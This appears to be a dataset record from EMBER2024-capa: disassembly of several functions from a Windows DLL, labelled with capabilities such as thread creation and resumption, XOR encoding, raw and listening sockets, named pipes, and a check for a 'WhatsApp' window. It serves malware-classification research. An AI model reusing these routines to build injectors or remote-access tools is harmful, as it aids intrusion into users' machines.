joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180056b90
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x18007f088], ebp
je 0x180056be7
cmp rbx, 0x20
jae 0x180056bd0
xor ecx, ecx
jmp 0x180056bd2
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x18007f088], ebp
jne 0x180056bc6
cmp qword [0x18007f090], r15
je 0x180056ce1
test rdi, rdi
jne 0x180056c07
mov ecx, esi
call fcn.180056480
mov edi, eax
jmp 0x180056ce6
mov ecx, dword [0x18007f11c]
mov ebx, r15d
test ecx, ecx
je 0x180056c2f
mov rdx, qword [0x18007f110]
mov rax, rdx
nop
cmp rdi, qword [rax]
je 0x180056c39
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180056c20
mov edi, 4
jmp 0x180056ce6
cmp ebx, 0xffffffff
je 0x180056c2f
mov eax, ebx
imul rcx, rax, 0x38
movzx eax, byte [rcx + rdx + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x180056cd8
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180056270
mov edi, eax
test eax, eax
jne 0x180056ce6
mov edx, esi
mov ecx, ebx
call fcn.180056350
mov edi, eax
cmp qword [rsp + 0x20], r15
je 0x180056ce6
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180056cc2
mov rbx, qword [rsp + 0x20]
mov ebp, eax
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180056cb8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180056c90
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x18007f090]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180056ce6
neg esi
sbb edi, edi
add edi, 6
jmp 0x180056ce6
mov edi, 2
xchg dword [0x18007f088], r15d
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
Function at 0x18005e7c0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x18005e7f1
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x18007f448]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x18007f458]
lea rdx, [rdi + rdi]
call fcn.18005e360
mov rax, qword [0x18007f448]
lea r9, [rdi - 1]
mov qword [0x18007f470], r9
mov qword [0x18007f478], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x18005e964
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x18007f458]
mov r9, qword [r11]
cmp r9, rbx
jne 0x18005e8b0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x18005e925
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x18005e8ed
mov r10, qword [rdx]
cmp r10, rax
je 0x18005e8e7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x18005e925
cmp r9, rdx
je 0x18005e901
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x18005e939
cmp r9, rdx
jne 0x18005e8f2
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x18005e95f
mov r9, qword [0x18007f470]
jmp 0x18005e861
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18005e925
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18005eb00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbp, rcx
cmp edx, 1
jne 0x18005ec38
lea rdx, str.Abyss
lea rcx, [rsp + 0x38]
call fcn.18000a010
mov rsi, qword [rsp + 0x50]
lea rcx, [rsp + 0x38]
mov rbx, qword [rsp + 0x38]
cmp rsi, 0x10
mov r8, qword [rsp + 0x48]
cmovae rcx, rbx
cmp r8, 5
jne 0x18005eb68
lea rdx, str.Abyss
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x18005eb68
xor dil, dil
jmp 0x18005eb6b
mov dil, 1
cmp rsi, 0x10
jb 0x18005eba5
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18005eb9d
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18005eb9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180062d44
test dil, dil
jne 0x18005ec53
lea rdx, str.WhatsApp
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x18005ec53
call fcn.18000f970
mov rcx, rbp
mov qword [0x18007f340], rbp
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r9, rbp
mov qword [rsp + 0x28], 0
lea r8, [0x18005ccd0]
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18005ec0e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
add eax, 0xffffff80
test eax, 0xffffff7f
je 0x18005ec38
mov edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea r11, [rsp + 0x60]
mov eax, 1
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.18000fb20
int3
Function at 0x180001184
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], r8
push rdi
sub rsp, 0x30
and qword [rax + 0x18], 0
mov rdi, rcx
mov ebx, edx
lea rcx, [rax + 0x18]
lea r8, str.Microsoft_Base_Cryptographic_Provider_v1.0
mov r9d, 1
xor edx, edx
mov dword [rax - 0x18], 0xf0000020
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1800011e6
lea r9d, [rax + 1]
lea r8, str.Microsoft_Base_Cryptographic_Provider_v1.0
lea rcx, [rsp + 0x50]
xor edx, edx
mov dword [rsp + 0x20], 0xf0000028
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x18000120c
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
cmp eax, 1
je 0x1800011fd
xor ebx, ebx
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800012fc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rdi, rdx
call fcn.180003fa8
test eax, eax
jne 0x18000141d
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x180001418
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x180001418
test cl, 3
jne 0x180001418
movsxd rax, dword [r9]
lea r12, [0x180044b00]
imul rax, rax, 0xb0
mov r10, qword [rax + r12 + 0x60]
test r10, r10
je 0x180001399
lea rax, [r9 + 0x88]
mov rdx, rdi
mov rcx, rbp
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x18000141d
test esi, esi
je 0x180001414
lea r14, [r9 + 8]
xor edx, edx
test ecx, ecx
jle 0x1800013c3
mov r8, rbp
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
xor dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x1800013b0
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
mov rdx, rdi
mov rcx, r14
imul rax, rax, 0xb0
call qword [rax + r12 + 0x28]
test eax, eax
jne 0x18000141d
xor edx, edx
cmp dword [rbx + 4], edx
jle 0x180001406
mov r8, rdi
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
mov dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x1800013f3
movsxd rcx, dword [rbx + 4]
add rdi, rcx
add rbp, rcx
sub esi, ecx
jne 0x1800013a1
xor eax, eax
jmp 0x18000141d
mov eax, reloc.WS2_32.dll_recv
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x18000143c
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x18003eec8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call fcn.180003fa8
test eax, eax
jne 0x18000155a
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x180001555
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x180001555
test cl, 3
jne 0x180001555
movsxd rax, dword [r9]
lea r15, [0x180044b00]
imul rax, rax, 0xb0
mov r10, qword [rax + r15 + 0x68]
test r10, r10
je 0x1800014d8
lea rax, [r9 + 0x88]
mov rdx, rbp
mov rcx, rdi
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x18000155a
test esi, esi
je 0x180001551
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
lea rdx, [rsp + 0x30]
mov rcx, rdi
imul rax, rax, 0xb0
call qword [rax + r15 + gethostbyname]
test eax, eax
jne 0x18000155a
xor r8d, r8d
cmp dword [rbx + 4], r8d
jle 0x180001542
lea r9, [rsp + 0x30]
mov r10, rdi
mov r11, rbp
sub r9, rdi
sub r10, rbx
sub r11, rbx
lea rdx, [rbx + 8]
lea rax, [r10 + rdx]
add r8d, 4
mov ecx, dword [r9 + rax - 8]
mov eax, dword [rax - 8]
xor ecx, dword [rdx]
mov dword [rdx], eax
lea rdx, [rdx + 4]
mov dword [r11 + rdx - 0xc], ecx
cmp r8d, dword [rbx + 4]
jl 0x18000151f
movsxd rax, dword [rbx + 4]
add rdi, rax
add rbp, rax
sub esi, dword [rbx + 4]
jne 0x1800014dc
xor eax, eax
jmp 0x18000155a
mov eax, reloc.WS2_32.dll_recv
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180022560
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800038a8
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
and qword [rcx], 0
xor eax, eax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x180004024
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [rcx + 0x70]
mov r13, r8
mov r15, rdx
call fcn.180003fd0
test eax, eax
jne 0x180004196
movsxd rdi, dword [rsi + 0x70]
lea rbx, [0x180046100]
shl rdi, 7
mov ecx, dword [rdi + rbx + 0x10]
mov r12d, dword [rdi + rbx + 0xc]
call fcn.180019d3c
mov ecx, r12d
mov r14, rax
call fcn.180019d3c
mov rbp, rax
test r14, r14
je 0x180004184
test rax, rax
je 0x18000417c
mov rdx, rax
mov rcx, rsi
call qword [rdi + rbx + 0x68]
mov ebx, eax
test eax, eax
jne 0x18000415c
lea r9, [0x180046100]
xor r8d, r8d
cmp dword [rdi + r9 + 0x10], r8d
jbe 0x1800040d7
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x5c
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rdi + r9 + 0x10]
jb 0x1800040bb
mov rcx, rsi
call qword [rdi + r9 + 0x58]
mov ebx, eax
test eax, eax
jne 0x18000415c
lea rax, [0x180046100]
mov rdx, r14
mov rcx, rsi
mov r8d, dword [rdi + rax + 0x10]
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x18000415c
lea rax, [0x180046100]
mov r8d, r12d
mov rdx, rbp
mov rcx, rsi
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x18000415c
lea rax, [0x180046100]
mov rdx, r14
mov rcx, rsi
call qword [rdi + rax + 0x68]
mov ebx, eax
test eax, eax
jne 0x18000415c
xor ecx, ecx
test r12d, r12d
je 0x180004156
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x180004156
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x18000413f
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.180019cfc
mov rcx, rbp
call fcn.180019cfc
mov rcx, r14
call fcn.180019cfc
mov eax, ebx
jmp 0x180004196
mov rcx, r14
call fcn.180019cfc
test rbp, rbp
je 0x180004191
mov rcx, rbp
call fcn.180019cfc
mov eax, reloc.WS2_32.dll_listen
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800041b4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, rcx
movsxd rbp, edx
mov edi, r9d
mov ecx, ebp
mov r13, r8
call fcn.180003fd0
test eax, eax
jne 0x180004321
mov rbx, rbp
lea rax, [0x180046100]
mov dword [rsi + 0x70], ebp
shl rbx, 7
mov r15d, dword [rbx + rax + 0xc]
test r9d, r9d
jne 0x18000420f
lea eax, [r9 + 3]
jmp 0x180004321
mov r12d, dword [rbx + rax + 0x10]
mov ecx, r12d
call fcn.180019d3c
mov r14, rax
test rax, rax
jne 0x18000422d
lea eax, [r14 + 0xd]
jmp 0x180004321
mov rcx, r12
call fcn.180019d3c
mov qword [rsi + 0xe8], rax
test rax, rax
jne 0x180004249
lea edi, [rax + 0xd]
jmp 0x180004317
lea r12, [0x180046100]
mov rdx, r13
mov ecx, dword [rbx + r12 + 0x10]
cmp edi, ecx
jbe 0x18000429a
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x30]
mov r9, rax
mov qword [rsp + 0x20], rcx
mov ecx, ebp
mov r8d, edi
call fcn.180001770
mov edi, eax
test eax, eax
jne 0x18000430b
mov eax, dword [rbx + r12 + 0x10]
cmp r15d, eax
jae 0x1800042c1
mov rcx, r15
sub eax, r15d
add rcx, qword [rsi + 0xe8]
jmp 0x1800042ba
mov r8, rdi
mov rcx, rax
call fcn.18001a330
mov eax, dword [rbx + r12 + 0x10]
cmp edi, eax
jae 0x1800042c1
mov rcx, qword [rsi + 0xe8]
sub eax, edi
add rcx, rdi
mov edx, eax
call fcn.180003f90
xor r8d, r8d
cmp dword [rbx + r12 + 0x10], r8d
jbe 0x1800042e7
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x36
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rbx + r12 + 0x10]
jb 0x1800042cb
mov rcx, rsi
call qword [rbx + r12 + 0x58]
mov edi, eax
test eax, eax
jne 0x18000430b
mov r8d, dword [rbx + r12 + 0x10]
mov rdx, r14
mov rcx, rsi
call qword [rbx + r12 + 0x60]
mov edi, eax
test eax, eax
je 0x180004317
mov rcx, qword [rsi + 0xe8]
call fcn.180019cfc
mov rcx, r14
call fcn.180019cfc
mov eax, edi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000de78
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x18003f4b0], 1
je 0x18000df0e
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000df16
mov ecx, reloc.WS2_32.dll_sendto
mov dword [0x18003f4b0], 1
call fcn.180018718
mov ecx, reloc.WS2_32.dll_send
mov dword [0x18003f4b4], eax
call fcn.180018718
mov ecx, 0x3d
mov dword [0x18003f4b8], eax
call fcn.18001874c
mov ecx, 0x3e
mov qword [0x180047f48], rax
call fcn.18001874c
mov ecx, 0x3f
mov qword [0x180047f40], rax
call fcn.18001874c
mov ecx, 0x42
mov qword [0x180047f38], rax
call fcn.18001874c
mov qword [0x180047f30], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001aed8
int3

Function at 0x18000e4d4
Capabilities:
Create pipe

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x70
and dword [rsp + 0x40], 0
xor eax, eax
lea rdx, [r11 - 0x38]
lea rcx, [r11 - 0x20]
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
call fcn.18000e3b4
mov ebx, 4
mov ecx, ebx
call fcn.180018718
mov ecx, ebx
mov edi, eax
call fcn.180018718
mov ecx, reloc.WS2_32.dll_ntohs
mov ebx, eax
call fcn.18001874c
mov edx, 3
mov rcx, rax
lea rax, [rsp + 0x40]
lea r8d, [rdx + 3]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov r9d, 0xff
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea rcx, [rsp + 0x58]
mov rbx, rax
call fcn.18000e2c4
cmp rbx, 0xffffffffffffffff
jne 0x18000e573
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x18]
mov edx, eax
call fcn.18000dc84
xor eax, eax
jmp 0x18000e589
mov dword [reloc.WS2_32.dll_accept], 2
mov qword [0x18003f520], rbx
mov eax, 1
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x18000e5b4
Capabilities:
Connect pipe

Disassembly:
sub rsp, 0xa8
mov rcx, qword [0x18003f520]
call fcn.180010f98
test eax, eax
jne 0x18000e5f2
mov rcx, qword [0x18003f520]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18000e5f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x217
sete cl
test ecx, ecx
je 0x18000e5cb
mov rdx, qword [0x18003f520]
lea rcx, [rsp + 0x60]
call fcn.18000e34c
mov rdx, rax
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rdx + 0x38]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x58], rax
call fcn.18000df90
add rsp, 0xa8
ret
Function at 0x18000e660
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, gethostbyname
call fcn.180018718
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov ebx, eax
call fcn.18000de78
jmp 0x18000e6a3
mov ecx, ebx
call fcn.18000e80c
test eax, eax
je 0x18000e6ac
call fcn.18000e06c
call fcn.18000df28
mov rcx, qword [0x18003f528]
call qword [sym.imp.WS2_32.dll_closesocket]
cmp dword [section..data], 0
ja 0x18000e681
call fcn.18000e954
add rsp, 0x20
pop rbx
jmp fcn.180018e38

Function at 0x18000e80c
Capabilities:
Create raw socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
xor r8d, r8d
mov esi, ecx
mov dword [reloc.WS2_32.dll_accept], 3
lea ebx, [r8 + 1]
lea r14d, [r8 + 2]
mov edx, ebx
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000e864
or rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18000e935
mov ecx, r14d
mov word [rbp - 0x39], r14w
call fcn.180018780
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
lea rdx, [rbp - 0x39]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rdi
mov dword [rbp - 0x35], esi
mov word [rbp - 0x37], ax
call qword [sym.imp.WS2_32.dll_bind]
or esi, 0xffffffff
mov rcx, rdi
cmp eax, esi
jne 0x18000e8ab
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x18000e935
mov edx, 0x78
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, esi
je 0x18000e928
mov rcx, rdi
call fcn.180010e58
mov qword [0x18003f528], rax
cmp rax, 0xffffffffffffffff
je 0x18000e928
lea rcx, [rbp + 0x17]
mov rdx, rax
call fcn.18000e6e4
mov rdx, rax
mov rcx, qword [rax]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x11], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 9], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp + 7], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 1], rcx
lea rcx, [rbp - 0x29]
mov qword [rbp + 0xf], rax
call fcn.18000df90
jmp 0x18000e92a
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, ebx
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000f47c
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.180019ff0
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015a8c
test eax, eax
je 0x18000f565
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180012fa8
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000f5f4
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000f636
mov rax, rbp
jmp 0x18000f690
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000f631
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001a330
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000f68d
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000f631
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret